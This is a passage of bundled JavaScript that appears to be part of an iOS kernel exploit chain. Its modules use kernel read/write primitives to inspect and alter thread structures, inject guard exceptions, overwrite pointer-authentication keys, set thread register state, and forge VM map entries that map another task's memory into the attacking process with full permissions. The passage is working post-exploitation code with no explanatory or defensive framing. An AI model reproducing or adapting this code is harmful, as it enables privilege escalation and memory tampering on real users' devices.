__webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); const AST_GUARD = 0x1000; const TAG = "THREAD"; class Thread { static getTro(thread) { let tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().tro); // Ignore threads with invalid tro address. if (!(tro & 0xf000000000000000n)) { //console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`); return 0n; } return tro; } static getCtid(thread) { let ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ctid); return ctid; } static getTask(thread) { let tro = this.getTro(thread); // Ignore threads with invalid tro address. if (!(tro & 0xf000000000000000n) || tro === 0n) return 0n; let task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().troTask); return task; } static next(thread) { if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads) < 0xffffffd000000000n) return 0; let next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads); if (next < 0xffffffd000000000n) return 0; return next; } static setMutex(thread,ctid) { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData, ctid); } static getMutex(thread) { let mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData); return mutex; } static getStack(thread) { let stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().kstackptr); return stackptr; } static injectGuardException(thread,code) { if(!this.getTro(thread)) { console.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`); return false; } // 18.4+ if (xnuVersion.major == 24 && xnuVersion.minor >= 4) { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code); } else { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, code); } let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast); ast |= AST_GUARD; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast); return true; } static clearGuardException(thread) { if(!this.getTro(thread)) { console.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`); } let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast); ast &= ~AST_GUARD | 0x80000000; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast); // 18.4+ if (xnuVersion.major == 24 && xnuVersion.minor >= 4) { if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode) == 0x17n) { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, 0n); } } else { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n); } } static getOptions(thread) { let options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options); return options; } static setOptions(thread, options) { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options, options); } static getRopPid(thread) { let ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid); return ropPid; } static getJopPid(thread) { let jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid); return jopPid; } static setPACKeys(thread, keyA, keyB) { libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid, keyA); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid, keyB); } static getState(machThread) { let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; let stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem + 0x200n; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT); let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_get_state", machThread, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64, statePtr, stateCountPtr); if (kr != 0) { console.log(TAG, "Unable to read thread state"); return false; } let stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_SIZE); let state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__["default"](stateBuff); return state; } static setState(machThread, threadAddr, state) { let options = 0; if (threadAddr) { options = Thread.getOptions(threadAddr); options |= 0x8000; Thread.setOptions(threadAddr, options); } let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write(statePtr, state.buffer); //console.log(TAG,`thread:${Utils.hex(thread)}`); let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_set_state", machThread, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64, statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT); if (kr != 0) { console.log(TAG,`Failed thread_set_state with error:${kr}`); return false; } if (threadAddr) { options &= ~0x8000; Thread.setOptions(threadAddr, options); } return true; } static resume(machThread) { let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_resume", machThread); if (kr != 0) { console.log(TAG, "Unable to resume suspended thread"); return false; } return true; } } /***/ }), /***/ "./src/libs/TaskRop/ThreadState.js": /*!*****************************************!*\ !*** ./src/libs/TaskRop/ThreadState.js ***! \*****************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ ThreadState) /* harmony export */ }); /* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ "./src/libs/TaskRop/RegistersStruct.js"); class ThreadState { #buffer; #dataView; constructor(buffer, offset = 0) { this.#buffer = buffer; this.#dataView = new DataView(buffer,offset); this.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__["default"](buffer,offset); } get buffer() { return this.#buffer; } get opaque_fp() { return this.#dataView.getBigUint64(232,true); } set opaque_fp(value) { this.#dataView.setBigUint64(232,value,true); } get opaque_lr() { return this.#dataView.getBigUint64(240,true); } set opaque_lr(value) { this.#dataView.setBigUint64(240,value,true); } get opaque_sp() { return this.#dataView.getBigUint64(248,true); } set opaque_sp(value) { this.#dataView.setBigUint64(248,value,true); } get opaque_pc() { return this.#dataView.getBigUint64(256,true); } set opaque_pc(value) { this.#dataView.setBigUint64(256,value,true); } get cpsr() { return this.#dataView.getUint32(264,true); } set cpsr(value) { this.#dataView.setUint32(264,value,true); } get opaque_flags() { return this.#dataView.getUint32(268,true); } set opaque_flags(value) { this.#dataView.setUint32(268,value,true); } } /***/ }), /***/ "./src/libs/TaskRop/VM.js": /*!********************************!*\ !*** ./src/libs/TaskRop/VM.js ***! \********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ VM) /* harmony export */ }); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./VmMapEntry */ "./src/libs/TaskRop/VmMapEntry.js"); /* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); /* harmony import */ var _VMObject__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./VMObject */ "./src/libs/TaskRop/VMObject.js"); /* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js"); /* harmony import */ var _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./VmPackingParams */ "./src/libs/TaskRop/VmPackingParams.js"); const TAG = "VM"; const VME_ALIAS_BITS = 12n; const VME_OFFSET_BITS = (64n - VME_ALIAS_BITS); const VME_OFFSET_SHIFT = VME_ALIAS_BITS; const VME_SUBMAP_SHIFT = 2n; const VME_SUBMAP_BITS = (8n * 8n - VME_SUBMAP_SHIFT); const VM_KERNEL_POINTER_SIGNIFICANT_BITS = 38; const VM_MAX_KERNEL_ADDRESS = 0xfffffffbffffffffn; const VM_PAGE_PACKED_PTR_BITS = 31; const VM_PAGE_PACKED_PTR_SHIFT = 6; const SIZE_VMOBJECT = 0x20; const VM_LINK_SIZE = 0x20; const VM_MAP_ENTRY_SIZE = 0x50; const VMShmem_SIZE = 0x18; const VMPackingSize = 0x10; const VM_FLAGS_ANYWHERE = 0x00000001n; class VM { static VM_PROT_READ = 1n; static VM_PROT_WRITE = 2n; static VM_PROT_EXECUTE = 4n; static VM_PROT_ALL = (this.VM_PROT_READ|this.VM_PROT_WRITE|this.VM_PROT_EXECUTE); static VM_PROT_IS_MASK = 0x40n; static VM_INHERIT_NONE = 2n; static #Tib(x) { return ((0n + (x)) << 40n); } static #Gib(x) { return ((0n + (x)) << 30n); } static #VM_MIN_KERNEL_ADDRESS() { return ((0n - this.#Gib(144n))); } static #VM_MIN_KERNEL_AND_KEXT_ADDRESS() { return this.#VM_MIN_KERNEL_ADDRESS(); } static #VM_PAGE_PACKED_PTR_BASE() { return this.#VM_MIN_KERNEL_AND_KEXT_ADDRESS(); } static #VM_PACKING_IS_BASE_RELATIVE(packed) { return ((packed.vmpp_bits + packed.vmpp_shift) <= VM_KERNEL_POINTER_SIGNIFICANT_BITS); } static #VM_PACKING_PARAMS(ns) { ns.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(ns); return ns; } static #VM_UNPACK_POINTER(packed, ns) { return this.#vm_unpack_pointer(packed,this.#VM_PACKING_PARAMS(ns)); } static #VM_PACK_POINTER(ptr, ns) { return this.#vm_pack_pointer(ptr, this.#VM_PACKING_PARAMS(ns)); } static #bigUint64ToIntptr(bigUint64) { // Create a BigInt mask for the lower 64 bits const lower64BitsMask = BigInt("0xFFFFFFFFFFFFFFFF"); // Apply the mask to ensure the value is within the range of 64 bits bigUint64 = bigUint64 & lower64BitsMask; // Check if the value is greater than the maximum signed 64-bit integer if (bigUint64 > BigInt("0x7FFFFFFFFFFFFFFF")) { // Convert to signed by subtracting 2^64 return Number(bigUint64 - BigInt("0x10000000000000000")); } else { // Directly convert to Number return Number(bigUint64); } } static #vm_unpack_pointer(packed, params) { if (!params.vmpp_base_relative) { //console.log(TAG,`In first if unpack`); //let addr = this.#bigUint64ToIntptr(BigInt(packed)); let addr = packed; addr <<= 64 - params.vmpp_bits; addr >>= 64 - params.vmpp_bits - params.vmpp_shift; return addr; } if (packed) { //console.log(TAG,`In second if unpack`); return (BigInt(packed) << BigInt(params.vmpp_shift)) + BigInt(params.vmpp_base); } return 0n; } static #vm_pack_pointer(ptr,params) { if (!params.vmpp_base_relative) { //console.log(TAG,`In first if pack`); return ptr >> params.vmpp_shift; } if (ptr) { //console.log(TAG,`In second if pack`); return (BigInt(ptr) - BigInt(params.vmpp_base)) >> BigInt(params.vmpp_shift); } return 0n; } static #VME_OFFSET(entry) { return entry.vme_offset << 12n; } static #trunc_page_kernel(x) { //return ((x) & (~vm_kernel_page_mask)); return ((x) & (~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK)); } static #round_page_kernel(x) { //return this.#trunc_page_kernel((x) + vm_kernel_page_mask); return this.#trunc_page_kernel((x) + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK); } static #vm_getEntry(map,address) { let rbhRoot = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(map + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().hdrRBHRoot); //console.log(TAG,`Get entry:${Utils.hex(address)}`); //console.log(TAG,`rbh root:${Utils.hex(rbhRoot)}`); let rbEntry = rbhRoot; let foundEntry = 0n; while (rbEntry != 0n) { let curPtr = rbEntry - 0x20n; // container_of(rb_entry, struct vm_map_entry, store) //uint64_t prev = 0; let links = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read(curPtr, links, VM_LINK_SIZE); let linksBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(links,VM_LINK_SIZE); let linksArray = new Uint8Array(linksBuffer); links = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_links(linksArray); //console.log(TAG,`[${Utils.hex(links.start)} - ${Utils.hex(links.end)}]:${Utils.hex(curPtr)}`); if (address >= links.start) { if (address < links.end) { foundEntry = curPtr; //console.log(TAG,`Found:${Utils.hex(curPtr)}`); break; } let rbeRight = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeRight); rbEntry = rbeRight; //prev = curPtr; } else { let rbeLeft = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeLeft); rbEntry = rbeLeft; } } return foundEntry; } static mapRemotePage(vmMap, address) { //console.log(TAG, `Map remote address: ${Utils.hex(address)}`); let vmObject = VM.getObject(vmMap, address); //LOG("vmObject: %llx (objectOffset=%llx, entryOffset=%llx)", // vmObject.address, // vmObject.objectOffset, // vmObject.entryOffset); if (!vmObject.address) return null; let shmem = VM.createShmemWithVmObject(vmObject); //LOG("shmem: port=%x, address=%llx", shmem.port, shmem.remoteAddress); return shmem; } static getObject(map, address) { let VMObjectBuff = new ArrayBuffer(SIZE_VMOBJECT); let vmObject = new _VMObject__WEBPACK_IMPORTED_MODULE_5__["default"](VMObjectBuff); let entryAddr = this.#vm_getEntry(map, address); if (!entryAddr) return vmObject; let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(entryAddr, VM_MAP_ENTRY_SIZE); let entryUintArr = new Uint8Array(entryBuff); let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryUintArr); //console.log(TAG, `entry: addr=${Utils.hex(entryAddr)}, is_sub_map=${entry.is_sub_map}, vme_object_packed=${Utils.hex(entry.vme_object)}`); let paramsBuff = new ArrayBuffer(VMPackingSize); let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); let vmeObject = this.#VM_UNPACK_POINTER(entry.vme_object, params); //console.log(TAG, `vme object: ${Utils.hex(vmeObject)}`); let objectOffs = this.#VME_OFFSET(entry); let entryOffs = address - entry.links.start + objectOffs; //console.log(TAG, `object offset: ${Utils.hex(objectOffs)}`); //console.log(TAG, `entry offset: ${Utils.hex(entryOffs)}`); vmObject.vmAddress = address; vmObject.address = BigInt(vmeObject); vmObject.objectOffset = BigInt(objectOffs); vmObject.entryOffset = BigInt(entryOffs); return vmObject; } static createShmemWithVmObject(object) { //console.log(TAG,`Inside createShmem with addr to read:${Utils.hex(object.address)}`); let shmemBuff = new ArrayBuffer(VMShmem_SIZE); let shmem = new _VMShmem__WEBPACK_IMPORTED_MODULE_6__["default"](shmemBuff); let size = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().vouSize); size = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].round_page(size); //console.log(TAG,`vm object size:${Utils.hex(size)}`); let localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; let roundedSize = this.#round_page_kernel(size); let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_allocate",0x203n, localAddr, roundedSize, VM_FLAGS_ANYWHERE); if (ret != 0) { console.log(TAG,`mach_vm_allocate():${ret}`); return shmem; } localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(localAddr); //console.log(TAG,`mach_vm_allocate:${Utils.hex(roundedSize)} localAddr:${Utils.hex(localAddr)}`); /* let memory_object = new_bigint(); ret = Native.callSymbol("mach_make_memory_entry_64", 0x203n, get_bigint_addr(roundedSize), localAddr, this.VM_PROT_READ | this.VM_PROT_WRITE, get_bigint_addr(memory_object), 0n); let resBuff = Native.read(get_bigint_addr(memory_object),Utils.UINT32_SIZE); let resView = new DataView(resBuff); let port = resView.getUint32(0,true); */ let memory_object = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x500n; let roundedSizePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x1000n; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(roundedSizePtr, roundedSize); ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_make_memory_entry_64", 0x203n, roundedSizePtr, localAddr, this.VM_PROT_READ | this.VM_PROT_WRITE, memory_object, 0n); let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read32(memory_object); //let port = Native.callSymbol("wrapper_mach_make_memory_entry_64",roundedSize,localAddr); //console.log(TAG,`mach_make_memory_entry_64():${Utils.hex(port)}`); let shmemNamedEntry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortKObject(BigInt(port)); //console.log(TAG,`shmem named entry:${Utils.hex(shmemNamedEntry)}`); let shmemVMCopyAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemNamedEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().backingCopy); //console.log(TAG,`shmem named entry VM copy addr:${Utils.hex(shmemVMCopyAddr)}`); let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemVMCopyAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().next); //console.log(TAG,`next addr:${Utils.hex(nextAddr)}`); let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(nextAddr, VM_MAP_ENTRY_SIZE); let entryArr = new Uint8Array(entryBuff); let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryArr); //console.log(TAG,`entry: vme_kernel_object=${Utils.hex(entry.vme_kernel_object)}, is_sub_map=${Utils.hex(entry.is_sub_map)}`); //console.log(TAG,`entry: is_sub_map=${Utils.hex(entry.is_sub_map)}`); if (entry.vme_kernel_object || entry.is_sub_map || false) // vme_kernel_object struct is not implemented { console.log(TAG,`Entry cannot be a submap`); return shmem; } let paramsBuff = new ArrayBuffer(VMPackingSize); let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); let packedPointer = this.#VM_PACK_POINTER(object.address, params); //console.log(TAG,`packedPointer:${Utils.hex(packedPointer)}`); let refCount = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount); //console.log(TAG,`vm object ref count:${Utils.hex(refCount)}`); refCount++; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount, refCount); entry.vme_object = Number(packedPointer); entry.vme_offset = object.objectOffset; //write(nextAddr, &entry, sizeof(entry)); // write dedicate write in order to avoid zone panic with bigger 0x20 elements size let entryResWrite = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(entryResWrite,entryArr.buffer); //Utils.printArrayBufferInChunks(entryArr.buffer); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].writeZoneElement(nextAddr, entryResWrite, VM_MAP_ENTRY_SIZE); //console.log(TAG,`After write zone element`); //let mappedAddr = Native.callSymbol("malloc",roundedSize * 4n); //let mappedAddr = new_bigint(); let mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(mappedAddr, 0x1337n); //let mach_vm_map_func = Native.dlsym("mach_vm_map"); //console.log(TAG,`mach_vm_map:${Utils.hex(mach_vm_map_func)} with object.entryOffset:${Utils.hex(object.entryOffset)}`); //ret = fcall(mach_vm_map_func,0x203n,get_bigint_addr(mappedAddr),0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE); ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_map",0x203n,mappedAddr,0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE); //console.log(TAG,`ret:${ret}`); mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(mappedAddr); //console.log(TAG,`mach_vm_map():${Utils.hex(ret)}, mappedAddr=${Utils.hex(mappedAddr)}`); if(ret != 0) { console.log(TAG,'failed on mach_vm_map'); mappedAddr = 0n; } ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_deallocate", 0x203, localAddr, roundedSize); if (ret != 0) { console.log(TAG, "mach_vm_deallocate: " + ret); } //let mappedAddr = Native.callSymbol("wrapper_mach_vm_map",port,object.entryOffset); //console.log(TAG,`mappedAddr:${Utils.hex(mappedAddr)}`); shmem.port = BigInt(port); shmem.remoteAddress = object.vmAddress; shmem.localAddress = mappedAddr; return shmem; } static mocker(addrUnpack,addrPack) { let paramsBuff = new ArrayBuffer(VMPackingSize); let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); let vmeObject = this.#VM_UNPACK_POINTER(addrUnpack, params); //console.log(TAG,`vmeObjectUnpack:${Utils.hex(vmeObject)}`); vmeObject = this.#VM_PACK_POINTER(addrPack,params); //console.log(TAG,`vmeObjectpack:${Utils.hex(vmeObject)}`); } } /***/ }), /***/ "./src/libs/TaskRop/VMObject.js": /*!**************************************!*\ !*** ./src/libs/TaskRop/VMObject.js ***! \**************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ VMObject) /* harmony export */ }); class VMObject { #buffer; #dataView; constructor(buffer) { this.#buffer = buffer; this.#dataView = new DataView(this.#buffer); } get vmAddress() { return this.#dataView.getBigUint64(0,true); } set vmAddress(value) { this.#dataView.setBigUint64(0,value,true); } get address() { return this.#dataView.getBigUint64(8,true); } set address(value) { this.#dataView.setBigUint64(8,value,true); } get objectOffset() { return this.#dataView.getBigUint64(16,true); } set objectOffset(value) { this.#dataView.setBigUint64(16,value,true); } get entryOffset() { return this.#dataView.getBigUint64(24,true); } set entryOffset(value) { this.#dataView.setBigUint64(24,value,true); } } /***/ }), /***/ "./src/libs/TaskRop/VMShmem.js": /*!*************************************!*\ !*** ./src/libs/TaskRop/VMShmem.js ***! \*************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ VMShmem) /* harmony export */ }); class VMShmem { #buffer; #dataView; constructor(buffer) { this.#buffer = buffer; this.#dataView = new DataView(this.#buffer); } get port() { return this.#dataView.getBigUint64(0,true); } set port(value) { this.#dataView.setBigUint64(0,value,true); } get remoteAddress() { return this.#dataView.getBigUint64(8,true); } set remoteAddress(value) { this.#dataView.setBigUint64(8,value,true); } get localAddress() { return this.#dataView.getBigUint64(16,true); } set localAddress(value) { this.#dataView.setBigUint64(16,value,true); } } /***/ }), /***/ "./src/libs/TaskRop/VmMapEntry.js": /*!****************************************!*\ !*** ./src/libs/TaskRop/VmMapEntry.js ***! \****************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__), /* harmony export */ vm_map_entry: () => (/* binding */ vm_map_entry), /* harmony export */ vm_map_links: () => (/* binding */ vm_map_links) /* harmony export */ }); class vm_map_links { #__mem; #__view; #__addr; #__off; constructor(mem=undefined, off=0) { this.#__mem = mem ? mem : new Uint8Array(0x20); this.#__view = new DataView(this.#__mem.buffer); this.#__off = off; this.sizeof = this.#__mem.length; } get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } /* previous entry */ get prev() { return this.#__view.getBigUint64(this.#__off, true); } set prev(val) { this.#__view.setBigUint64(this.#__off, val, true); } /* next entry */ get next() { return this.#__view.getBigUint64(this.#__off+0x8, true); } set next(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); } /* start address */ get start() { return this.#__view.getBigUint64(this.#__off+0x10, true); } set start(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); } /* end address */ get end() { return this.#__view.getBigUint64(this.#__off+0x18, true); } set end(val) { this.#__view.setBigUint64(this.#__off+0x18, val, true); } }; class 